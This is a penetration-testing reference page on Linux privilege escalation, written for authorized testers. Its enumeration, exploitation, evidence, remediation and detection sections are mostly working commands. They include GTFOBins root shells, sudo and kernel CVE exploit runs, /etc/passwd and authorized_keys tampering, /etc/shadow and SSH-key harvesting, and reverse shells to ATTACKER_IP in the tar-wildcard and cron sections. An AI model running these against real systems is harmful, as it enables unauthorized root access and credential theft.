Linux Privilege Escalation
Linux privilege escalation exploits misconfigurations, SUID binaries, sudo permissions, cron jobs, and kernel vulnerabilities to gain root access from a standard user account.
Danger
/etc/passwd, changing a
unit file, adding a sudoers rule or writing an SSH key are modifications the client has to agree to
individually — and a kernel exploit is an availability risk they have to accept for that host, in
writing, before you run it. Snapshot where you can, note the original mode and owner of anything you
touch, and revert it as part of the test.
Initial Enumeration
System Information
# Current user and groups
id
whoami
groups
# System information
uname -a
cat /etc/os-release
cat /etc/issue
hostname
# Environment variables
env
echo $PATHNetwork Information
# Network configuration
ip a
ifconfig
cat /etc/hosts
cat /etc/resolv.conf
# Connections and listeners
netstat -tulpn
ss -tulpn
# Routing
route -n
ip routeAutomated Enumeration Tools
LinPEAS
# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or transfer and execute
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# Run specific checks
./linpeas.sh -s # Superfast (no network/docker checks)
./linpeas.sh -a # All checks (adds su brute-force with the top-2000 passwords)LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -tLinux Exploit Suggester
# LES - Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
# LES2 - More exploits
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.plpspy - Process Monitor
# Monitor processes without root (catches cron jobs)
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64
./pspy64SUID/SGID Exploitation
Find SUID/SGID Binaries
# Find SUID binaries
find / -perm -u=s -type f 2>/dev/null
# Find SGID binaries
find / -perm -g=s -type f 2>/dev/null
# Find both
find / \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/nullGTFOBins Exploitation
Information
# Common exploitable SUID binaries
# bash (SUID)
/bin/bash -p
# find
find . -exec /bin/sh -p \; -quit
# vim
vim -c ':!/bin/sh'
# python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# perl
perl -e 'exec "/bin/sh";'
# cp (copy /etc/passwd, modify, copy back)
cp /etc/passwd /tmp/passwd
# Add root user: echo 'hacker:$(openssl passwd password):0:0::/root:/bin/bash' >> /tmp/passwd
cp /tmp/passwd /etc/passwdSudo Exploitation
Check Sudo Permissions
Read the version against the CVEs below rather than on its own: Baron Samedit is fixed in 1.9.5p2, the
sudoedit argument injection in 1.9.12p2 and the -R chroot escape in 1.9.17p1. Between them
those ranges cover most of what you will meet in an estate that patches slowly, and each one needs a
different prerequisite — a sudoedit rule, a permitted -R, or a specific vulnerable build — so
the version tells you what to test, not what is exploitable.
# List sudo permissions
sudo -l
# Check sudo version (the range decides which of the CVEs below apply)
sudo --versionGTFOBins Sudo Exploitation
# If sudo -l shows NOPASSWD for specific commands:
# vim
sudo vim -c ':!/bin/bash'
# find
sudo find /etc -exec /bin/bash \;
# awk
sudo awk 'BEGIN {system("/bin/bash")}'
# less/more
sudo less /etc/passwd
!/bin/bash
# man
sudo man man
!/bin/bash
# env
sudo env /bin/bash
# ftp
sudo ftp
!/bin/bashSudo Wildcards Exploitation
# If sudo allows: /bin/tar *
# Create files named as flags
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > shell.sh
sudo /bin/tar cf archive.tar *
# If sudo allows: /bin/rsync *
echo "" > "-e sh shell.sh"
sudo /bin/rsync -e sh shell.sh localhost:/tmpCVE-2021-3156 (Baron Samedit)
# Check if vulnerable (sudo < 1.9.5p2)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# Exploit
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwichCVE-2023-22809 (sudoedit Argument Injection)
In sudo before 1.9.12p2, sudoedit passed the user's editor environment
(SUDO_EDITOR, VISUAL, EDITOR) through unsanitised, so an editor value
containing -- ended sudoedit's own file list and everything after it became an extra file to
open — as root. NVD scores it 7.8 (published 2023-01-18). The prerequisite is a sudoers rule that grants
sudoedit at all: no rule, no path. A rule scoped to one file is still enough, because the
injected path is appended after the --.
# Does any sudoedit rule exist? This is the whole prerequisite.
sudo -l | grep -i sudoedit
# The editor string supplies the extra file; sudoedit opens it as root
EDITOR='vim -- /etc/sudoers' sudoedit /etc/hosts
# Inside vim the file is writable: :wq, then verify the change landed
Fixed in 1.9.12p2 and backported by the distributions, so the version string alone is not the finding —
the finding is a sudoedit rule on a host still running an unpatched build. LinPEAS prints the sudo
version but does not test this path, because whether it works depends on the sudoers rule rather than the
binary; sudo -l is the check.
CVE-2025-32463 (sudo -R chroot)
sudo 1.9.14 through 1.9.17 (every p revision) resolves /etc/nsswitch.conf from
inside the directory handed to -R/--chroot. An account whose sudoers rule permits
that option can therefore supply its own nsswitch.conf and a malicious NSS library, which root
loads while still inside the chroot — a root shell, no writable system file required. NVD scores it
9.3 (Critical), published 2025-06-30, and it is the highest-rated item on this page. Fixed
in 1.9.17p1.
# Version first: 1.9.14 up to 1.9.17 (including p-revisions) is the vulnerable window
sudo --version | head -n 1
# Behaviour check that needs no exploit: vulnerable sudo accepts -R, patched sudo refuses the option
sudo -R woot woot
# vulnerable: "sudo: woot: No such file or directory"
# patched: "sudo: you are not permitted to use the -R option with woot"
# Why a broad rule matters: -R has to be permitted by the sudoers entry
sudo -l
# Lab reproduction only - the PoC builds an Ubuntu 24.04 container with vulnerable 1.9.16p2
git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
cd CVE-2025-32463_chwoot && ./run.sh
LinPEAS's "Sudo version" check does flag this one: it parses sudo -V and prints a
CVE-2025-32463 upstream candidate for 1.9.14–1.9.17, alongside CVE-2025-32462 for 1.8.8–1.9.17. Treat that
as a pointer to the package advisory, not a verdict — vendors backport fixes without changing the version
string, which is the same trap as the kernel CVEs below.
Capabilities
Find Binaries with Capabilities
getcap -r / 2>/dev/nullExploit Capabilities
# cap_setuid+ep (e.g., python)
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_dac_read_search (read any file)
# e.g., tar with cap_dac_read_search
tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
# cap_net_bind_service (bind to privileged ports < 1024)
# Useful for phishing attacks or MitMCron Jobs
Enumerate Cron Jobs
# System crontabs
cat /etc/crontab
cat /etc/cron.d/*
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.monthly/
# User crontabs
crontab -l
cat /var/spool/cron/crontabs/*
# Use pspy to monitor
./pspy64Cron Exploitation
# If cron runs writable script as root
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /path/to/script.sh
# If cron runs script from writable directory
echo '#!/bin/bash' > /writable/path/script.sh
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /writable/path/script.sh
# Wait for cron, then: /tmp/bash -p
# PATH hijacking (if cron doesn't use absolute paths)
echo '#!/bin/bash' > /tmp/command_name
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /tmp/command_name
chmod +x /tmp/command_name
export PATH=/tmp:$PATHWritable Files & Directories
/etc/passwd
# Check if writable
ls -la /etc/passwd
# If writable, add root user
# Generate password hash
openssl passwd -1 -salt hacker password
# Add user with root privileges (UID 0)
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd
# Login as new root user
su hacker/etc/shadow
# If readable, crack hashes
cat /etc/shadow
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
hashcat -m 1800 -a 0 shadow.txt rockyou.txt
# If writable, replace root hash
# Generate: openssl passwd -6 password
vim /etc/shadowSSH Keys
# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa
# If authorized_keys is writable
# On attacker: ssh-keygen -t rsa
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
ssh -i id_rsa root@targetKernel Exploits
Danger
# Check kernel version
uname -a
uname -r
# Use linux-exploit-suggester
./linux-exploit-suggester.shDirtyPipe (CVE-2022-0847)
# Linux kernel 5.8 - 5.16.11
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh
./exploit-1 # Overwrites /etc/passwdDirtyCOW (CVE-2016-5195)
# Linux kernel 2.6.22 - 4.8.3
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password
# Creates firefart user with root privilegesPwnKit (CVE-2021-4034)
# Polkit pkexec - affects most Linux distros
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
./cve-2021-4034Looney Tunables (CVE-2023-4911)
A buffer overflow in glibc's dynamic loader while it parsed GLIBC_TUNABLES, introduced in
glibc 2.34 (April 2021) and fixed in the October 2023 coordinated updates and the distributions'
backports. Any SUID binary is enough to
trigger it: the loader runs before the program does, so a crafted tunables value overflows inside a
root-privileged process and the attacker lands a root shell. Qualys obtained root on default Fedora 37
and 38, Ubuntu 22.04 and 23.04, and Debian 12 and 13; Alpine is unaffected because it uses musl rather
than glibc. NVD scores it 7.8 (published 2023-10-03).
# Which libc, and is the installed package past the vendor fix?
ldd --version | head -n 1
dpkg -l libc6 | tail -n 1 # Debian/Ubuntu: compare with the USN/DSA fixed version
rpm -q glibc # RHEL/Fedora
# LinPEAS performs the Debian/Ubuntu comparison for you and labels it a candidate, not a finding
./linpeas.sh | grep -A2 'GNU C Library tunables'
# Lab reproduction (Ubuntu 22.04, glibc 2.35 - not generalised)
git clone https://github.com/leesh3288/CVE-2023-4911.git
cd CVE-2023-4911 && make && ./expnftables Use-After-Free (CVE-2024-1086)
nft_verdict_init() accepted positive values as a drop error, so nf_hook_slow()
double-freed a packet when NF_DROP arrived with an error that looked like
NF_ACCEPT. The result is a local root from a netfilter rule. NVD scores it 7.8 (published
2024-01-31); the fix is upstream commit f342de4e2f33, backported in February 2024, and the
public exploit covers kernels v5.14 through v6.6. It needs unprivileged user namespaces
(CONFIG_USER_NS=y, kernel.unprivileged_userns_clone=1) and
CONFIG_NF_TABLES=y — the same three preconditions LinPEAS's kernel-CVE table lists before it
flags the entry at all. Distributions that disable unprivileged user namespaces are not exposed to this
exploit path even on an unpatched kernel.
# The preconditions decide whether the CVE applies at all
unshare -Urn true && echo "unprivileged userns available"
grep -E 'CONFIG_NF_TABLES|CONFIG_USER_NS' /boot/config-$(uname -r)
sysctl kernel.unprivileged_userns_clone 2>/dev/null
# Lab reproduction: this exploit deliberately leaves the kernel panicking afterwards
git clone https://github.com/Notselwyn/CVE-2024-1086.git
cd CVE-2024-1086 && make && ./exploitCredential Hunting
# Search for passwords
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /home/ 2>/dev/null
grep -r "pass" /var/www/ 2>/dev/null
# History files
cat ~/.bash_history
cat ~/.zsh_history
# Config files
cat /etc/mysql/my.cnf
cat /var/www/html/config.php
cat /var/www/html/.env
# SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
# Database files
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/nullTools Reference
Evidence Collection
Starting context: id, groups, sudo -l and the kernel version, captured before the escalation.
The misconfiguration: The SUID bit, sudoers line, capability, cron entry or writable unit — quoted from the system, not from a scanner’s summary.
Escalation proof: uid=0 in the new context and the command that produced it.
Impact in the new context:
One action root enables that the user could not do: read /etc/shadow, write a system unit, add an SSH key.
CVSS range:
SUID/sudo/capability privesc: 7.8–9.3 · kernel CVE with reliable exploit: 7.8–8.4 · writable /etc/passwd: 8.8.
False Positive Identification
- A SUID binary that drops privileges: Many system binaries are SUID and immediately drop to the caller. Check whether it survives to a shell before reporting GTFOBins applicability.
- sudo NOPASSWD for a fixed argument set: A rule pinned to one script with a fixed path is only a finding if the script is writable or takes unsanitised input.
- A writable directory with no reader: A world-writable folder is hygiene. It becomes privesc when a root process reads from it — the cron or unit must point there.
- cap_dac_read_search on a backup tool: Read capability on a tool that never exposes file content to its caller is not a path. Test that you can read a file you should not.
- A kernel that is "vulnerable": Exploit suggesters map version ranges. Distributions backport fixes without changing the version string — check the package changelog before running anything.
- A password in a config file: A credential is only evidence if it authenticates somewhere in scope. Record where it works, not where you found it.
Testing Checklist
Enumerate first
- ☐ id, groups, uname -a, /etc/os-release, package versions
- ☐ SUID and SGID binaries:
find / \( -perm -4000 -o -perm -2000 \) -type f - ☐ sudo -l — including the
env_keepandSETENVoptions - ☐
getcap -r /and whether each capability is reachable from the caller - ☐ Cron:
/etc/crontab,/etc/cron.d, systemd timers, and pspy for what actually runs - ☐ Writable files that a root process reads — configs, units, scripts, libraries
Then escalate
- ☐ Record the finding before changing file modes or contents
- ☐ Prefer a reversible primitive: a sudo GTFOBins invocation over editing
/etc/passwd - ☐ Keep a copy of anything you overwrite, and note the original mode and owner
- ☐ Kernel exploits: lab first, snapshot before, and never on a host the client has not agreed to lose
Remediation & Hardening
Close the paths
- • Remove SUID bits that no packaged tool needs, and review
NoNewPrivs/nosuidmounts for user-writable volumes - • Replace wildcard sudo rules with fixed argument lists, and never grant
SETENVon a shell-capable binary - • Keep root-owned cron scripts and unit files unreadable and unwritable to service accounts
- • Capabilities: grant only the file capabilities a daemon needs, and drop them for interactive users
Patch deliberately
- • Track distro security advisories rather than kernel versions — backports do not change the version string
- • Enable automatic security updates for the packages that carry these primitives (sudo, polkit, the kernel)
- • Treat container escapes (a mounted socket, a privileged container) as privesc paths in scope and in the fix
Detect it
- • auditd rules on
/etc/passwd,/etc/shadow,/etc/sudoers, cron directories and unit files - • AIDE or a package-ownership query — an unowned file in a system path is the cheapest single signal
- • Alert on a new uid 0 account and on processes whose parent is cron or a user unit running as root